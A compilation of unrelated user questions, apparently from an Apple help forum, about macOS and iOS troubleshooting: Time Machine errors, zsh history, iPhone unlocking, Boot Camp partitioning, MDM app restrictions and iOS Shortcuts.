So I was wondering whether there's some way to automate this, i.e. have internet sharing activate automatically whenever there's an ethernet connection available, and switch off whenever there isn't.

After a bit of web searching it seemed that the app ControlPlane ought to be able to do it, but I haven't been able to get that to work and that app seems quite a lot more complex than what I'm looking for, so I'm hoping someone can lead me to a simpler solution.

Update I'm now running 10.8, which switches automatically by default, so this is not longer an issue for me. (Internet sharing is really buggy on 10.8 though, and I've basically stopped using it because it sometimes gets so confused that WiFi networking stops altogether until I reboot - but that's a separate issue.) I'll leave this question here just in case someone has a solution that might help others with the same issue.


texts: Why does Time Machine only backup after a reboot?

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I have a Mini running Lion Server that has a USB hard drive attached to it for backups. I also have a MBP running Lion that I've set to use that same drive as a remote backup destination over the network.

The remote backups have never failed; however, the local backups from Server to its USB disk only work right after a reboot. When the machine tries to run its next scheduled backup it fails with

  Time Machine Error

  Unabled to complete backup. An error occurred while creating the backup folder.

  Latest successful backup: 12/2/11 at 11:50 PM

at which point I usually reboot the machine and manually run a backup, which succeeds.

Things I've tried

I've tried googling that error message, but "An error occurred" isn't much to go on.
I've tried repairing the drive in Disk Utility, but it didn't find any errors.

Other Notes

When I first plugged in this USB disk I told Time Machine to erase it and set it up. It has a GUID Partition Table, one 1TB partition formatted to Case-sensitive, Journaled Mac OS Extended.

What can I do to have my backups run without needing intervention?


texts: Which carriers will my unlocked AT&T iPhone 4s work with?

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I purchased a subsidized AT&T iPhone 4s in October 2011 (model MC922LL/A). I just unlocked the phone through AT&T's unlock website and received an email confirmation. I have backed up and restored the phone in iTunes and received the "Congratulations, your iPhone has been unlocked" message.

My question is, can I use my unlocked iPhone 4s with any of the following carriers:

T-Mobile (GSM)
Metro PCS (GSM)
Verizon (CDMA)
Straight Talk (CDMA)

Edit: I ended up trying Metro PCS and haven't had any problems. They're using T-Mobile's signal, which works with my 4s.


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I am running Mojave have changed default shell from bash to zsh.  I notice history is not saved between sessions.
Following recommendations in What are the practical differences between Bash and Zsh? I ran :
autoload -U zsh-newuser-install
zsh-newuser-install

This created the files ~/.zshrc and ~/.histfile which I did not have before but the history seems not to be updated.
A1398% cat .zshrc
# Lines configured by zsh-newuser-install
HISTFILE=~/.histfile
HISTSIZE=1000
SAVEHIST=1000
setopt beep
bindkey -e
# End of lines configured by zsh-newuser-install
# The following lines were added by compinstall
zstyle :compinstall filename '/Users/hali/.zshrc'

autoload -Uz compinit
compinit
# End of lines added by compinstall
A1398% cat .histfile
A1398%

On opening a new session (either Terminal or iTerm2) there is nothing previous and up arrow for previous commands does nothing.
Do I understand correctly and history should be in ~/.histfile? Are there any other required steps?


texts: How do you run a script after a network interface comes up?

texts: Is there a way to run a script every time a network interface finishes coming up? Or, is there an equivilent answer to this Debian question on OSX?


texts: How to fix iPhone no longer loading css on webpages and not connecting to internet

texts:
Currently my iPhone would not load the CSS parts on webpages so i.e. when I go to www.apple.com the phone would only load the words of the webpage

I cannot access apps such as Itune, Appstore, Facebook that utilizes the internet and basically the only thing that I can do is use the cellular call function,

Even then I cannot even send iMessage texts and send text messages either

When I try to update through iTunes on my Mac the update doesn't work, what should I do?


texts: I'm trying to use the new "three finger drag" gesture in Lion and it's not working. There isn't a preference setting for it in TrackPad -> Point and Click either. Does anyone know how to turn it on?


texts: My iPhone claims I have no disk space left on the device. This is simply not true. Rebooting the phone did not help. Is there anything else I can do?


texts: How can I extract the audio from a video file?

texts: I have a video of a music performance that I downloaded online, and want to extract the audio so that I can store it as a music file. It's a MOV file with the Codecs - "XVID, MPEG Layer 3." What software should I use for best results?


texts: Where are default apps for file types listed?

texts:
I would like to batch-remove all associations between XCode and any file type, because it is the default app for so many which I always have to manually set to MacVim.

So I'd like to do this once and for all. Is there some place where these Associations are stored in an editable format?

To be clear, I am looking for something more powerful than Cmd-I > Open With > Change All which would have to be done manually for each file type for which XCode installs itself as the default app.

I run 10.12.1.


texts: How can I resize a Mac OS X app window after disconnecting from an external monitor?

texts:
I'm a MacBook user, and when I'm home I plug into a large external monitor to get additional screen space. When I'm on the go I disconnect and use my laptop's built-in display. For the most part this arrangement works very well; however, I occasionally run into an issue where I'll resize an app on the external, causing it to be too large to fit on the built-in screen when I disconnect.

Most apps don't have a problem decreasing their height automatically or resizing to fit when I click the green orb, but some (like iTunes) don't want to cooperate. How can I resize apps like iTunes without reconnecting to my external?

Here's a screenshot:


texts:
I am using Apple's Contacts app and I have hundreds of entries. Some are no longer valid (name change, incorrect phone, etc)

So I want to export them so I get 1 file per contact. This way, I can import them one at a time and work at each entry to make sure that it's correct. I also want to import them (one at a time) to my Microsoft Exchange account.


texts: Copy RAW codec from different macOS versions

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Is there a method to copy the system codec for RAW format from a later macOS to a oldest? Where and how they are stored?

The problem is that I've a Nikon D5600 but their RAW/NEF file can't be recognised by the codecs of macOS 10.11 and at the same time I cant' update my system to the 10.12.4. And Nikon doesn't provide downloadable codec for macOS.


texts: How is it possible to have global hotkeys in OSX?

texts:
By "global" I mean that kind of shortcuts that I am using in Windows and that are set within and for an application but that can be used when that application is hidden or minimized (not on top). (e.g. the ones discussed here.)

I see that in this article here on "OS X Mavericks: Use global keyboard shortcuts" that shortcuts are called "global" but in a different sense - it seems to me - because they are only available if the given application is already active (focused upon, on top, like for example a text editor in which I can write) but not if it is not in this position (for example: if the text editor is open and ready for writing, then, the shortcuts available for an audio player will not be accessible).

So, I am not referring to the media keys on the keyboard, but to ones that I can set in an application and then can use when other application is active and actively used.

When adding some shortcuts for vlc under Keyboard settings, they are not global in this sense.


texts: Process running for several minutes in Sleep mode

texts:
My Mac OS is OS X Yosemite (Version 10.10.2).

Normally I put the mac in Sleep mode before going to bed, and I realize very often that the machine starts to run in the night just for several minutes and then back to silence.

I guess there is some bad process/software in my Mac that wakes up the system from time to time.

I know that Activity Monitor could check processes, but I have no idea how to see what is wrong...

Could anyone help?


texts: Change window of an app while Drag & Drop

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Is it somehow possible to change the window within an application with ⌘+< (sorry, German keyboard here, I guess it's ⌘+` (?) on English keyboards) while Drag & Drop something? While it works between different applications it seems not to work within one application with multiple windows. It's especially annoying with small screens and a lot of overlapping windows.

Example 1: Mark text in browser, drag it, ⌘+TAB to terminal (mutliple windows), ⌘+< to the terminal window you want to drop the text. This works.

Example 2: Mark text in browser, drag it, try to ⌘+< to another browser window. This does not work. Same thing with drag & drop of files between two (overlapping) finder windows. It is possible to do this if you use Exposé, but that's quite slow compared to ⌘+<.

It's a really annoying thing which bugs me since years and it's still an issue with OS X 10.8.


texts: Cannot create Bootcamp partition on High Sierra APFS SSD disk

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I am trying to create a Windows Bootcamp partition on High Sierra but when I got to select the target disk it tells me that there is no space left on the macOS container. My SSD has 250 GB free space and it has a single APFS container with a single APFS Volume. How can I fix this?

The computer is a late 2012 Mac Miniand it has a 16GB RAM and a primary SSD (512GB) and a secondary HDD (1TB).

I would like to install Windows 10 to the primary SSD.

The output for

diskutil apfs list

The output for

diskutil apfs resizecontainer disk0s2 limits


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Is there a way to disable this without signing out of iCloud? I don't remember my password. Everyday I get a bunch of iCloud popups and it's kind of annoying.

Thank you!


texts: Can you change an iPhone startup screen background from white to black?

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It seems light-coloured iPhones have a white startup background colour with black Apple logo. As you can’t control the brightness on startup - this screen is offensively bright at night - searing your darkness-adjusted eyes and waking any nearby creature who happens to be peacefully sleeping.

Can you invert it like on dark-coloured iPhones? Black background, white Apple logo?


texts: Apple calendar 'wireless' icon next to secondary Gmail account calendars

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I have added my primary Gmail account to Calendar.  This primary account has a few associated calendars associated with it.  On the right hand side of Calendar under the Google heading, my primary Gmail account and its associated calendars appear, but the associated calendars have what looks like a cell phone wifi indicator turned at a 45 degree angle to the right to the right of them.

Any idea what this is?

Using Calendar version 6.0 (1648).


texts: How to see contacts that are suggested when composing emails?

texts: When composing emails I get suggestions for who to send to based on previous received and sent emails. Is there any way to see this list? I'd like to add them to my actual contacts list.


texts: How to prevent re-ordering of app icon locations after apps re-enabled on a MDM-enrolled device?

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It is possible for a MDM to disable almost all apps on an iOS device by issuing a configuration profile that specifies "no apps" in the Restrictions Payload.  When disabled, apps simply disappear from the device home screen.

My problem is that if I distribute configuration profiles with this restriction and then later distribute new profiles removing the restriction, all of the app icons on the device reappear but not organized as they were before they were disable.

Any ideas on how to prevent or workaround this?


texts: To understand working of Cellular iPad+iPhone and number of sim cards required

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I am totally confused by iPad Cellular calling features.

If I put a sim card in iPad cellular, how do I make or receive calls in iPad since, there is no default dial app in iPad.

Case 1: 1 sim card: Doesn't work for me.

Suppose I have 1 sim card and I insert it in iPad Cellular. I can browse internet, but can't make phone call. And iPhone can't make calls either as it has no sim card.

I would have to download some Apps for iPad to make calls. Some apps don't work in some countries. So which app is good for this scenario?

Case 2:  2 sim cards: Works, but is this what iPad Cellular designed for?

1 sim card for iPhone and other sim card just for iPad for browsing internet. 1 phone number is wasted here. If I have to use Wi-Fi to browse internet by setting up iPhone hotspot, I would have bought a normal one instead of the Cellular version.

I need to understand the working of Cellular iPad and number of sim cards required.


texts: Can I edit iOS Shortcuts in a text editor (or something) on my Mac?

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Is it possible to create or edit iOS Shortcuts using something other than an iOS device?
I've created a shortcut that rolls on a table and provides the output of that roll.  Entering in 100 entries on my iPhone is rather painful, especially as there are a dozen or so tables I'd like to program.  If I could edit the shortcut's definition as JSON, XML, or whatever on my Mac and then import it back into the Shortcuts app, that would be wonderful.  Is this possible?
I've never used XCode but is that a possibility if text editing is not?
I have the complete list of table entries in plain text format already, if there is some other approach rather than retyping all of them.